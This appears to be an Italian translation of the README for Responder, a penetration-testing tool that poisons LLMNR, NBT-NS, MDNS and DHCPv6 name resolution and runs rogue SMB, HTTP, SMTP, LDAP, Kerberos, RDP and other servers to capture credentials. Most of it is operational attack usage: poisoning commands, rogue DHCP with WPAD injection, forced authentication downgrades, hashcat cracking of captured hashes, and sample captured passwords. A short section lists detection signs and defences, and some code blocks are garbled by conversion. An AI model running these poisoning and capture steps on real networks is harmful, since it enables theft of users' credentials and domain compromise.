Responder

Responder è un poisoner LLMNR, NBT-NS e MDNS con server di autenticazione rogue integrati per HTTP, SMB, MSSQL, FTP, LDAP, Kerberos, DNS e altro. Supporta NTLMv1/NTLMv2/LMv2, NTLMSSP esteso e vari metodi di autenticazione su oltre 15 protocolli.

Indice

Panoramica
Novità
Installazione
Avvio Rapido
Avvelenamento di Rete
Server Rogue
Configurazione
macOS
Risoluzione dei Problemi

Panoramica

Responder cattura le credenziali rispondendo alle richieste di risoluzione dei nomi LLMNR, NBT-NS e MDNS. Quando un client tenta di risolvere un nome host inesistente, Responder risponde, indirizzando il client verso la macchina dell'attaccante dove molteplici server di autenticazione rogue catturano le credenziali. Sono inclusi anche server rogue DHCP e DHCPv6, che possono essere abilitati separatamente.

Dati Catturati:

Hash NetNTLMv1/v2 - Decifrabili con hashcat/john
Hash Kerberos AS-REQ - Cracking offline (hashcat -m 7500)
Credenziali in chiaro - HTTP Basic, FTP, SMTP, IMAP, LDAP, SQL, ecc.
Challenge-response - CRAM-MD5, DIGEST-MD5

Novità

Questa versione include:

Miglioramenti DHCPv6 e DNS

✅ DHCPv6 INFORMATION-REQUEST - Piena compatibilità con Windows 10/11
✅ Filtraggio per Dominio - Domini specifici (DHCPv6 e DNS)
✅ Annunci Router - Avvelenamento di rete IPv6 opzionale

Aggiornamenti del Server Email

✅ SMTP STARTTLS - Cattura da client email moderni
✅ IMAP STARTTLS - Porta 143 con aggiornamento TLS
✅ IMAPS - SSL nativo sulla porta 993
✅ POP3 Migliorato - Migliore compatibilità

Miglioramenti Kerberos

✅ Forza AS-REQ - Forza l'autenticazione Kerberos.
✅ Tenta Fallback NTLM - Dopo aver ottenuto l'autenticazione Kerberos, restituisce KDC_ERR_ETYPE_NOSUPP

Miglioramenti dei Protocolli

✅ MSSQL - Cattura dell'autenticazione SQL Server
✅ LDAP/LDAPS - Credenziali del servizio directory
✅ RDP - Autenticazione Desktop Remoto
✅ WinRM - Gestione remota di Windows
✅ DCERPC - Autenticazione RPC di Windows

Installazione

Requisiti

Python 2.7 o Python 3.x
Linux (consigliati Ubuntu, Kali, Debian)
Privilegi di root

Dipendenze di Sistema```bash

sudo apt-get update sudo apt-get install python3 python3-pip python3-netifaces

### Installare Responder```bash
git clone https://github.com/lgandx/Responder.git
cd Responder
pip3 install -r requirements.txt

Verifica dell'installazione```bash

sudo python3 Responder.py --help

---

## Avvio rapido

### Avvelenamento base```bash
# Standard LLMNR/NBT-NS poisoning
sudo python3 Responder.py -I eth0 -v

# Analyze mode (passive monitoring)
sudo python3 Responder.py -I eth0 -A -v

Attacco DHCPv6```bash

Edit Responder.conf first:

[DHCPv6 Server]

DHCPv6_Domain = corp.local

sudo python3 Responder.py -I eth0 --dhcpv6 -v

### Forza autenticazione HTTP Basic```bash
sudo python3 Responder.py -I eth0 -b -v

Abilita Proxy Auth + Rogue DHCP```bash

Enable Proxy-auth server with rogue DHCP server injecting WPAD server (highly effective)

sudo python3 Responder.py -I eth0 -Pvd

---

## Avvelenamento della rete

### Avvelenamento LLMNR/NBT-NS/MDNS

**Scopo:** Rispondere ai fallimenti di risoluzione dei nomi

**Come funziona:**
1. Il client invia una query per un host inesistente
2. Responder risponde: "Sono quell'host"
3. Il client si connette all'attaccante
4. Credenziali catturate

**Configurazione:**```ini
[Responder Core]
LLMNR = On
NBTNS = On
MDNS = On

Utilizzo:```bash sudo python3 Responder.py -I eth0 -v

---

### Server DHCPv6

**Scopo:** Forzare i client a utilizzare il DNS dell'attaccante tramite IPv6

**Caratteristiche:**
- ✅ Supporto INFORMATION-REQUEST (Windows 10/11)
- ✅ Supporto SOLICIT/REQUEST
- ✅ Filtraggio dei domini (targeting chirurgico)
- ✅ Router Advertisement (opzionale)

**Come funziona:**
1. Windows invia DHCPv6 INFORMATION-REQUEST, SOLICIT, REQUEST
2. Responder risponde: DNS = IPv6 dell'attaccante
3. Windows dà priorità al DNS IPv6
4. Tutte le query DNS → attaccante
5. DNS poisoning → cattura delle credenziali

**Configurazione:**```ini
[DHCPv6 Server]
; Only respond to specific domain
DHCPv6_Domain = corp.local

; Send Router Advertisements
SendRA = Off

; IPv6 address to advertise
BindToIPv6 = fe80::1

Utilizzo:```bash sudo python3 Responder.py -I eth0 --dhcpv6 -v

**Risultato previsto:**```
[DHCPv6] INFORMATION-REQUEST from fe80::a1b2:c3d4
[DHCPv6] Client domain: workstation.corp.local
[DHCPv6] Matched target domain: corp.local
[DHCPv6] Responding with DNS: fe80::1
[DNS] Query: mail.corp.local (A)
[DNS] Poisoned: mail.corp.local -> 192.168.1.100
[SMTP] Captured: [email protected]:Password123

Server Rogue

Responder include 17+ server di autenticazione rogue:

Servizi File e Rete

Server SMB (Porte 445, 139)

Scopo: Catturare hash NetNTLM da condivisioni di file

Caratteristiche:

✅ SMBv1/SMBv2/SMBv3
✅ Cattura hash NetNTLMv1/v2
✅ NTLMSSP di sicurezza estesa
✅ Firma della sessione disabilitata (consente relay)

Trigger:```powershell

UNC paths

\attacker-ip\share \non-existent-server\files

NET USE commands

net use \attacker-ip\share

Windows Explorer address bar

\attacker-ip\

**Formato acquisito:**```
username::domain:challenge:response:blob

Cracking:```bash hashcat -m 5600 smb-ntlmv2.txt wordlist.txt

**Configurazione:**```ini
[Responder Core]
SMB = On

FTP Server (Port 21)

Scopo: Catturare le credenziali FTP in chiaro

Caratteristiche:

✅ Honeypot per login anonimo
✅ Autenticazione USER/PASS
✅ Cattura delle credenziali in chiaro

Attivatori:```bash ftp attacker-ip

Username: anything

Password: anything

**Formato Catturato:**```
[FTP] Cleartext: username:password

Configurazione:```ini [Responder Core] FTP = On

---

### Server di database

#### MSSQL Server (Porta 1433)

**Scopo:** Catturare l'autenticazione di Microsoft SQL Server

**Caratteristiche:**
- ✅ Autenticazione SQL Server
- ✅ Autenticazione Windows (NTLM)
- ✅ Credenziali SQL in chiaro
- ✅ Cattura hash NetNTLMv2

**Trigger:**```sql
-- SQL Server Management Studio
Server: attacker-ip
Authentication: SQL Server / Windows

-- Command line
sqlcmd -S attacker-ip -U sa -P password

-- Connection strings
Server=attacker-ip;Database=master;User Id=sa;Password=pass;

Formati catturati:``` [MSSQL] SQL Auth: sa:password123 [MSSQL] NetNTLMv2: DOMAIN\user::domain:challenge:response:blob

**Configurazione:**```ini
[Responder Core]
SQL = On

Note:

Cattura sia l'autenticazione SQL che l'autenticazione Windows
Funziona con connessioni SSMS, sqlcmd, ADO.NET
Può catturare le credenziali di dominio tramite autenticazione Windows

Server Email

Server SMTP (Porta 25, 587)

Scopo: Catturare l'autenticazione del client email

Caratteristiche:

✅ Supporto STARTTLS (client moderni)
✅ AUTH PLAIN (testo in chiaro)
✅ AUTH LOGIN (testo in chiaro)
✅ AUTH CRAM-MD5
✅ AUTH DIGEST-MD5
✅ AUTH NTLM (NetNTLMv2)

Flusso STARTTLS:``` Client → EHLO Server → 250-STARTTLS Client → STARTTLS Server → 220 Ready to start TLS [TLS handshake using self-signed cert] Client → AUTH PLAIN Server → Captured! ✅

**Attivatori:**```
Email client configuration:
- Server: attacker-ip
- Port: 25 or 587
- Security: STARTTLS or None
- Username: anything
- Password: anything

Formati acquisiti:``` [SMTP] LOGIN: [email protected]:Password123 [SMTP] NetNTLMv2: user::DOMAIN:challenge:response:blob [SMTP] CRAM-MD5: user:challenge:response

**Configurazione:**```ini
[Responder Core]
SMTP = On

Avvisi sui certificati: Gli avvisi di certificato autofirmato sono normali. I client rifiutano il primo tentativo, riprovano e hanno successo. Le credenziali vengono comunque catturate.

Server IMAP (Porta 143)

Scopo: Catturare l'autenticazione IMAP con STARTTLS

Caratteristiche:

✅ Supporto STARTTLS
✅ Comando LOGIN (in chiaro)
✅ AUTHENTICATE PLAIN
✅ AUTHENTICATE LOGIN
✅ AUTHENTICATE NTLM

Flusso STARTTLS:``` Client → CAPABILITY Server → * CAPABILITY IMAP4 AUTH=PLAIN AUTH=NTLM STARTTLS Client → STARTTLS Server → OK Begin TLS negotiation now [TLS upgrade] Client → LOGIN user password Server → Captured! ✅

**Configurazione:**```ini
[Responder Core]
IMAP = On

Server IMAPS (Porta 993)

Scopo: IMAP su SSL (cifratura nativa)

Caratteristiche:

✅ SSL nativo dall'inizio della connessione
✅ Tutti i metodi di autenticazione IMAP
✅ Nessun bisogno di STARTTLS (già cifrato)

Come differisce da IMAP:``` Port 143 (IMAP): Plain → STARTTLS → Encrypted Port 993 (IMAPS): Encrypted from start

**Configurazione:**```ini
[Responder Core]
IMAPS = On

POP3 Server (Port 110)

Scopo: Catturare credenziali di recupero email POP3

Caratteristiche:

✅ Autenticazione USER/PASS
✅ APOP (sfida MD5)
✅ Cattura credenziali in chiaro

Trigger:``` Email client:

Protocol: POP3
Server: attacker-ip
Port: 110

**Formato acquisito:**```
[POP3] USER: username
[POP3] PASS: password

Configurazione:```ini [Responder Core] POP = On

---

### Server Web

#### Server HTTP (Porta 80)

**Scopo:** Catturare l'autenticazione web

**Caratteristiche:**
- ✅ Autenticazione NTLM (NetNTLMv1/v2)
- ✅ Autenticazione di base (in chiaro)
- ✅ Autenticazione digest (MD5)
- ✅ Iniezione WPAD

**Trigger:**```
Browser: http://attacker-ip/
UNC: file://attacker-ip/share
WPAD: Automatic proxy detection

Forza Basic Auth:```bash sudo python3 Responder.py -I eth0 -b

**Formati acquisiti:**```
[HTTP] NTLM NTLMv2: user::DOMAIN:challenge:response:blob
[HTTP] Basic: user:password
[HTTP] Digest: user:realm:hash

Configurazione:```ini [Responder Core] HTTP = On

---

#### Server HTTPS (Porta 443)

**Scopo:** HTTPS con cattura dell'autenticazione

**Caratteristiche:**
- ✅ Crittografia SSL/TLS
- ✅ Tutti i metodi di autenticazione HTTP
- ✅ Certificato autofirmato
- ✅ WPAD su HTTPS

**Configurazione:**```ini
[Responder Core]
HTTPS = On
SSLCert = certs/responder.crt
SSLKey = certs/responder.key

Directory e Autenticazione

Server Kerberos (Porta 88)

Scopo: Catturare hash AS-REP per cracking offline

Caratteristiche:

✅ AES256-CTS-HMAC-SHA1-96 (etype 18)
✅ AES128-CTS-HMAC-SHA1-96 (etype 17)
✅ ARCFOUR-HMAC-MD5 (etype 23)

Come funziona:

Il client invia AS-REQ (richiesta TGT)
Responder: "Pre-autenticazione richiesta"
Il client invia AS-REQ con timestamp crittografato
Il Responder cattura il timestamp crittografato
Crack offline con hashcat

Cracking:```bash hashcat -m 7500 kerberos-asreq.txt wordlist.txt

**Configurazione:**```ini
[Responder Core]
Kerberos = On

LDAP Server (Port 389)

Scopo: Catturare l'autenticazione della directory LDAP

Caratteristiche:

✅ Autenticazione semplice (testo in chiaro)
✅ Autenticazione NTLM
✅ Query di Active Directory

Trigger:```bash

LDAP query

ldapsearch -H ldap://attacker-ip -D "CN=user,DC=corp,DC=local" -w password

Active Directory tools

dsquery user -d attacker-ip

**Formati catturati:**```
[LDAP] Simple: CN=user,DC=corp,DC=local:password
[LDAP] NetNTLMv2: user::DOMAIN:challenge:response:blob

Configurazione:```ini [Responder Core] LDAP = On

---

#### Server LDAPS (Porta 636)

**Scopo:** LDAP su SSL

**Caratteristiche:**
- ✅ Crittografia SSL/TLS
- ✅ Tutti i metodi di autenticazione LDAP

**Configurazione:**```ini
[Responder Core]
LDAP = On

Accesso Remoto

Server RDP (Porta 3389)

Scopo: Catturare l'autenticazione di Remote Desktop

Funzionalità:

✅ Network Level Authentication (NLA)
✅ NetNTLMv2 hash capture
✅ CredSSP authentication

Trigger:``` Remote Desktop Client:

Computer: attacker-ip
Username: anything
Password: anything

**Formato catturato:**```
[RDP] NetNTLMv2: user::DOMAIN:challenge:response:blob

Configurazione:```ini [Responder Core] RDP = On

**Nota:** Cattura l'autenticazione NLA prima della sessione desktop.

---

#### Server WinRM (Porte 5985, 5986)

**Scopo:** Cattura le credenziali di Windows Remote Management

**Caratteristiche:**
- ✅ HTTP (5985) e HTTPS (5986)
- ✅ Autenticazione di base
- ✅ Autenticazione NTLM
- ✅ Autenticazione Kerberos

**Trigger:**```powershell
# PowerShell remoting
Enter-PSSession -ComputerName attacker-ip
Invoke-Command -ComputerName attacker-ip -ScriptBlock { whoami }

# WinRM command line
winrm invoke -remote:http://attacker-ip

Formati acquisiti:``` [WinRM] Basic: DOMAIN\user:password [WinRM] NetNTLMv2: user::DOMAIN:challenge:response:blob

**Configurazione:**```ini
[Responder Core]
WINRM = On

Infrastruttura

DNS Server (Porta 53 TCP/UDP)

Scopo: Rogue DNS con filtraggio dei domini

Caratteristiche:

✅ Avvelenamento dei record A/AAAA
✅ Avvelenamento dei record MX (reindirizzamento email)
✅ Record SOA (apparire autorevole)
✅ Record SRV (Kerberos, LDAP)
✅ Record SVCB/HTTPS (browser moderni)
✅ Supporto EDNS0
✅ Filtraggio dei domini

Configurazione:```ini [DHCPv6 Server] ; DNS uses same domain filter as DHCPv6 DHCPv6_Domain = corp.local

**Come funziona:**```
Query: mail.corp.local
Response: 192.168.1.100 (attacker)
Client connects to attacker's SMTP
Credentials captured!

Tipi di Record Supportati:

A (IPv4) - Reindirizza all'attaccante
AAAA (IPv6) - Reindirizza all'attaccante
MX (Posta) - Avvelenamento del server email
SRV (Servizi) - Kerberos, LDAP, ecc.
SOA (Autorità) - Appari come autoritativo
TXT (Testo) - Record SPF
SVCB/HTTPS (Binding di Servizio) - Browser moderni

Esempio di Filtraggio dei Domini:``` DHCPv6_Domain = corp.local

mail.corp.local → POISONED ✅ dc01.corp.local → POISONED ✅ google.com → IGNORED (normal DNS)

**Configurazione:**```ini
[Responder Core]
DNS = On

Server DCERPC (Porta 135)

Scopo: Catturare l'autenticazione RPC di Windows

Caratteristiche:

✅ Autenticazione NTLM
✅ Enumerazione dei servizi Windows
✅ Cattura NetNTLMv2

Trigger:``` Windows services querying RPC endpoint mapper WMI queries Remote registry access

**Formato catturato:**```
[DCERPC] NetNTLMv2: user::DOMAIN:challenge:response:blob

Configurazione:```ini [Responder Core] DCERPC = On

## Configurazione

### File di configurazione principale

Modifica `Responder.conf`:```ini
[Responder Core]
; === Network Services ===
SQL = On        # MSSQL (port 1433)
SMB = On        # SMB (ports 445, 139)
RDP = On        # Remote Desktop (port 3389)
Kerberos = On   # Kerberos (port 88)
FTP = On        # FTP (port 21)
POP = On        # POP3 (port 110)
SMTP = On       # SMTP with STARTTLS (port 25/587)
IMAP = On       # IMAP with STARTTLS (port 143)
IMAPS = On      # IMAPS with SSL (port 993)
HTTP = On       # HTTP (port 80)
HTTPS = On      # HTTPS (port 443)
DNS = On        # DNS (port 53)
LDAP = On       # LDAP/LDAPS (ports 389/636)
DCERPC = On     # Windows RPC (port 135)
WINRM = On      # Windows Remote Management (ports 5985/5986)

; === Poisoners ===
LLMNR = On      # Link-Local Multicast Name Resolution
NBTNS = On      # NetBIOS Name Service
MDNS = On       # Multicast DNS
DHCP = Off      # DHCP (IPv4) - use with caution
DHCPv6 = On     # DHCPv6 (IPv6) - use with more caution

; === Settings ===
SessionLog = On
LogToFile = On
Verbose = Yes
Database = Responder.db

; === SSL Certificates ===
SSLCert = certs/responder.crt
SSLKey = certs/responder.key

[HTTP Server]
HtmlFilename = files/AccessDenied.html

[DHCPv6 Server]
; Target specific domain 
DHCPv6_Domain = corp.local

; Send Router Advertisements (use with caution)
SendRA = Off

; IPv6 address to advertise
BindToIPv6 = fe80::1

Opzioni da riga di comando

Utilizzo base```bash

sudo python3 Responder.py [options]

### Argomenti Richiesti

| Opzione | Descrizione |
|--------|-------------|
| `-I eth0, --interface=eth0` | Interfaccia di rete da usare (usa 'ALL' per tutte le interfacce) |

### Opzioni di Poisoning

| Opzione | Descrizione |
|--------|-------------|
| `-A, --analyze` | Modalità analisi - Visualizza richieste NBT-NS, MDNS, LLMNR senza rispondere |
| `-w, --wpad` | Avvia server proxy WPAD rogue (predefinito: Off) |
| `-F, --ForceWpadAuth` | Forza autenticazione NTLM/Basic sul recupero di wpad.dat (reti vecchie)|
| `-P, --ProxyAuth` | Forza autenticazione NTLM/Basic per il proxy (molto efficace) |

### Opzioni DHCP/DHCPv6

| Opzione | Descrizione |
|--------|-------------|
| `-d, --DHCP` | Abilita risposte broadcast DHCP con iniezione WPAD (IPv4) |
| `-D, --DHCP-DNS` | Inietta server DNS nella risposta DHCP invece di WPAD |
| `--dhcpv6` | Abilita poisoning DHCPv6 (risponde a messaggi SOLICIT) |

### Opzioni di IP poisoning

| Opzione | Descrizione |
|--------|-------------|
| `-e 10.0.0.22, --externalip=10.0.0.22` | Avvelena richieste con un altro indirizzo IPv4 |
| `-6 ADDR, --externalip6=ADDR` | Avvelena richieste con un altro indirizzo IPv6 |
| `-i 10.0.0.21, --ip=10.0.0.21` | IP locale da usare (solo macOS) |

### Opzioni di Autenticazione

| Opzione | Descrizione |
|--------|-------------|
| `-b, --basic` | Restituisci autenticazione HTTP Basic (predefinito: NTLM) |
| `--lm` | Forza downgrade hash LM (Windows XP/2003) |
| `--disable-ess` | Forza downgrade NTLMSSP di sicurezza estesa |

### Opzioni Avanzate

| Opzione | Descrizione |
|--------|-------------|
| `-u HOST:PORT, --upstream-proxy=HOST:PORT` | Proxy HTTP upstream per WPAD rogue |
| `-t 1e, --ttl=1e` | Cambia TTL Windows per risposte avvelenate (hex: 30s=1e, o 'random') |
| `-N NAME, --AnswerName=NAME` | Nome canonico per risposte LLMNR (utile per relay Kerberos) |
| `-E, --ErrorCode` | Restituisci STATUS_LOGON_FAILURE (abilita cattura autenticazione WebDAV) |

### Opzioni di Output

| Opzione | Descrizione |
|--------|-------------|
| `-v, --verbose` | Aumenta la verbosità (consigliato) |
| `-Q, --quiet` | Modalità silenziosa - Disabilita output del poisoner |

### Informazioni

| Opzione | Descrizione |
|--------|-------------|
| `--version` | Mostra versione del programma ed esci |
| `-h, --help` | Mostra messaggio di aiuto ed esci |

---

### Posizioni di Archiviazione```
Responder.db                    # SQLite database
logs/
├── HTTP-NTLMv2-<IP>.txt       # HTTP NetNTLMv2 hashes
├── SMB-NTLMv2-<IP>.txt        # SMB NetNTLMv2 hashes
├── MSSQL-NTLMv2-<IP>.txt      # MSSQL NetNTLMv2 hashes
├── Kerberos-AES-<IP>.txt      # Kerberos AS-REP hashes
├── SMTP-Cleartext-<IP>.txt    # SMTP cleartext credentials
├── IMAP-NTLMv2-<IP>.txt       # IMAP NetNTLMv2 hashes
├── FTP-Cleartext-<IP>.txt     # FTP cleartext credentials
├── LDAP-Cleartext-<IP>.txt    # LDAP cleartext credentials
├── RDP-NTLMv2-<IP>.txt        # RDP NetNTLMv2 hashes
└── WinRM-NTLMv2-<IP>.txt      # WinRM NetNTLMv2 hashes

Query del database```bash

sqlite3 Responder.db

Show tables

.tables

Show all captured hashes

SELECT * FROM hashes;

Export to CSV

.mode csv .output hashes.csv SELECT * FROM hashes; .quit

---

### Considerazioni OpSec

**Indicatori di Rilevamento:**
- Risposte LLMNR/NBT-NS insolite
- Server DHCP/DHCPv6 rogue
- Richieste di pre-autenticazione Kerberos non valide
- Certificati SSL auto-firmati
- Fallimenti di autenticazione multipli
- Risposte DNS sospette

**Misure Difensive:**
- Disabilitare MDNS/LLMNR/NBT-NS tramite GPO
- Abilitare DHCP snooping sullo switch
- Abilitare la protezione RA IPv6
- Abilitare la protezione DHCPv6
- Monitorare per server DHCPv6 rogue

---

## macOS

Responder funziona su macOS ma richiede il flag `-i` per specificare il tuo indirizzo IP locale. macOS non supporta l'opzione socket `SO_BINDTODEVICE` usata su Linux per il binding dell'interfaccia.

### Utilizzare lo Script di Avvio

Lo script incluso `macOS_Launcher.sh` gestisce automaticamente i conflitti di servizio:```bash
sudo ./macOS_Launcher.sh -I en0

Il launcher:

Rileva automaticamente il tuo IP dall'interfaccia (o passa -i per sovrascrivere)
Controlla lo stato di SIP e segnala le limitazioni
Arresta i servizi macOS in conflitto (Kerberos, mDNSResponder, SMB, NetBIOS) se SIP è disabilitato
Segnala conflitti di porta se SIP è abilitato
Ripristina tutti i servizi arrestati quando Responder esce (incluso su Ctrl+C)

Esecuzione Diretta```bash

Find your IP

ipconfig getifaddr en0

Run with explicit IP

sudo python3 Responder.py -I en0 -i 192.168.1.100

### Protezione dell'Integrità del Sistema (SIP)

Con SIP abilitato (l'impostazione predefinita), macOS impedisce l'arresto dei servizi di sistema che si legano alle porte di cui Responder ha bisogno. Hai tre opzioni:

1. **Usa lo script di avvio** — segnalerà i conflitti e continuerà con ciò che è disponibile
2. **Disabilita i moduli in conflitto** in `Responder.conf` (ad es. `SMB = Off`, `DNS = Off`)
3. **Disabilita SIP** per la piena funzionalità (vedi [documentazione Apple](https://developer.apple.com/documentation/security/disabling-and-enabling-system-integrity-protection))

---

## Risoluzione dei problemi

### Problemi comuni

**Permesso negato:**```bash
sudo python3 Responder.py -I eth0

Interfaccia non trovata:```bash ip link show sudo python3 Responder.py -I wlan0

**Porta già in uso:**```bash
sudo netstat -tulpn | grep 445
sudo systemctl stop smbd nmbd

DHCPv6 non funzionante:```bash

Enable IPv6

sudo sysctl -w net.ipv6.conf.all.disable_ipv6=0

Verify

sysctl net.ipv6.conf.all.disable_ipv6

**Nessun hash catturato:**```bash
# Verify servers running
sudo python3 Responder.py -I eth0 -v

# Check firewall
sudo iptables -L

# Monitor traffic
sudo tcpdump -i eth0 port 445 or port 88 or port 389

Modalità Debug```bash

Very verbose output

sudo python3 Responder.py -I eth0 -vv

Tail logs

tail -f logs/Responder-Session.log

Network monitoring

sudo tcpdump -i eth0 -w responder-capture.pcap

---

## Crediti

**Autore:** Laurent Gaffié
- GitHub: https://github.com/lgandx
- Sito web: https://secorizon.com/
- Twitter: @secorizon

---

## Donazione
Puoi contribuire a questo progetto donando ai seguenti indirizzi USDT o Bitcoin:

USDT: 0xCc98c1D3b8cd9b717b5257827102940e4E17A19A

BTC: bc1q9360jedhhmps5vpl3u05vyg4jryrl52dmazz49

PayPal:

https://paypal.me/PythonResponder

---

## Riconoscimenti
Lo sviluppo di Late Responder è stato possibile grazie alle donazioni ricevute da individui e aziende.

Vorremmo ringraziare i principali sponsor:

SecureWorks: https://www.secureworks.com/

Synacktiv: https://www.synacktiv.com/

Black Hills Information Security: http://www.blackhillsinfosec.com/

TrustedSec: https://www.trustedsec.com/

Red Siege Information Security: https://www.redsiege.com/

Open-Sec: http://www.open-sec.com/

E tutti, TUTTI i pentester in tutto il mondo che hanno donato a questo progetto.

Grazie.

Più Popolari

Responder

Responder

Indice

Panoramica

Novità

Miglioramenti DHCPv6 e DNS

Aggiornamenti del Server Email

Miglioramenti Kerberos

Miglioramenti dei Protocolli

Installazione

Requisiti

Dipendenze di Sistema```bash

Verifica dell'installazione```bash

Attacco DHCPv6```bash

Edit Responder.conf first:

[DHCPv6 Server]

DHCPv6_Domain = corp.local

Abilita Proxy Auth + Rogue DHCP```bash

Enable Proxy-auth server with rogue DHCP server injecting WPAD server (highly effective)

Server Rogue

Servizi File e Rete

Server SMB (Porte 445, 139)

UNC paths

NET USE commands

Windows Explorer address bar

FTP Server (Port 21)

Username: anything

Password: anything

Server Email

Server SMTP (Porta 25, 587)

Server IMAP (Porta 143)

Server IMAPS (Porta 993)

POP3 Server (Port 110)

Directory e Autenticazione

Server Kerberos (Porta 88)

LDAP Server (Port 389)

LDAP query

Active Directory tools

Accesso Remoto

Server RDP (Porta 3389)

Infrastruttura

DNS Server (Porta 53 TCP/UDP)

Server DCERPC (Porta 135)

Opzioni da riga di comando

Utilizzo base```bash

Query del database```bash

Show tables

Show all captured hashes

Export to CSV

Esecuzione Diretta```bash

Find your IP

Run with explicit IP

Enable IPv6

Verify

Modalità Debug```bash

Very verbose output

Tail logs

Network monitoring